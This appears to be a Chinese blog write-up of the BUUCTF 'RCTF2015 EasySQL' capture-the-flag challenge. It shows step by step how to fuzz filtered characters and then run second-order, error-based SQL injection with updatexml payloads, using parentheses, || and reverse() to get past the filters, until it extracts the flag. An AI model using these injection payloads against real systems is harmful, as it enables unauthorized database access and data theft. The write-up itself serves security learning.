• Buuctf——[RCTF2015]EasySQL


    Buuctf——[RCTF2015]EasySQL

    一、解题步骤

    1.看到注册登录,闲着没事先注册个号试试

    1’
    123

    在这里插入图片描述

    2.进去看了,除了受到文化熏陶,别的好像没有啥,点一下试试其有什么功能,一不小心就看到了修改密码

    在这里插入图片描述
    3.惊奇的发现,密码可以被任意修改

    在这里插入图片描述
    4.似乎和我们做题没多大的关系,我试了一下账户1'#,也没啥反映,使用Burpsuit试试过滤了哪些字符。通过测试发现,过滤了and、%20、mid、left、right、like、and、ascii、@、空格等字符

    在这里插入图片描述
    5.我们发现'、"、\、or、union、select、updatexml、group_concat、database、table、=、()等字符没被过滤

    在这里插入图片描述
    6.既然反斜杠(\)没被过滤,那么就注册个反斜杠的号吧(1'\),在修改密码的时候,我们可以看到有明显的错误回显

    在这里插入图片描述
    报错语句为:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1’" and pwd=‘202cb962ac59075b964b07152d234b70’’ at line 1

    由此,我们可以推测出,数据库的查询语句为
    select * from 表名 where id="%s" and pwd="密码"

    7.中间有多次的报错,填了很多的坑,因此,这里我就不再赘述,直接讲述正确的思路——使用报错注入。
    爆库——获取数据库信息

    1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
    
    • 1

    将我们注入的值,已表单的形式提交给服务器,相当于注册了一个账号
    在这里插入图片描述

    在修改密码的时候,回显报错,获取库名web_sqli

    在这里插入图片描述
    9.获取表名,得到表名为——article,flag,users

    1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#
    
    • 1

    在这里插入图片描述

    10.获取表flag的字段名,字段名为~title,content,flag,name,pwd,ema

    1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')||(table_name='flag')),0x7e),1)#
    
    • 1

    在这里插入图片描述

    11.获取flag的内容

    1"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#
    
    • 1

    在这里插入图片描述

    12.得到的是个提示——~RCTF{Good job! But flag not her,人差点嘛了😭😭😭
    既然flag不在这儿,那我们换一张表查数据,总能找到flag的。。。。
    使用users表,爆破字段
    123"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

    在这里插入图片描述

    13.真的是——山重水复疑无路,柳暗花明又一村。😁😁看到提示——real_flag_1s_her
    接下来直接获取字段内容
    1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

    在这里插入图片描述
    14.得到一半flag——flag{c27daacc-20a6-43e4-8113-8f,因为right、left、mid等函数均被过滤,因此使用reverse函数

    1"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
    
    • 1

    在这里插入图片描述

    15.这里为了得到flag,又完善了一把Python代码编程

    letter_num = list(input('please input some characters:'))
    list_num = []
    def convert_order():
        for i in range(len(letter_num)):#根据列表的长度决定遍历的次数
            list_num.append(letter_num[len(letter_num) - i - 1])#把letter_num中的值倒序添加到新列表中
        print(''.join(list_num))#把''无间隔符添加到list_num中每个元素的中间,总体效果就是把列表转换为字符串
       
    convert_order()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    16.运行代码,得到另一半flag——cc-20a6-43e4-8113-8faa8e8a96e0}

    在这里插入图片描述

    17.和前面得到一半,flag拼接,得到完整的flag——flag{c27daacc-20a6-43e4-8113-8faa8e8a96e0}

    在这里插入图片描述

    二、知识点总结

    1.当空格被过滤时,使用括号绕过()
    2.当and被过滤时,使用||过滤
    3.当right、left、mid被过滤时,使用reverse绕过——相当于把字符串反过来打印出来
    4.报错注入用法
    5.二次注入

    三、ps

    1.一定要保持好心态,不然题目还没做完,人直接炸掉
    2.特别注意括号的位置,在做题的过程中,我的括号老是出问题,这是一个小细节,特别注意;
    3.注意单引号或双引号的使用,一旦错了,非常影响
    4.不断积累fuzz

  • 相关阅读:
    AtomicLong与LongAdder(上)
    sql语句-如何以一个表中的数据为条件据查询另一个表中的数据
    安全基础二
    魔改YOLOv5/YOLOv7高阶版(魔法搭配+创新组合)
    【浏览器修改请求头】该地址不支持在浏览器打开,如需访问, 请使用微信扫描下方二维码
    T1098 质因数分解(信息学一本通C++)
    Spring启动后进行一些初始化的方式汇总
    12张图一次性搞懂高性能并发容器ConcurrentLinkedQueue
    Linux| jq命令对JSON格式数据操作
    数据分片的艺术:Sharding Key为多节点数据库带来的巨大优势
  • 原文地址:https://blog.csdn.net/m_de_g/article/details/126842801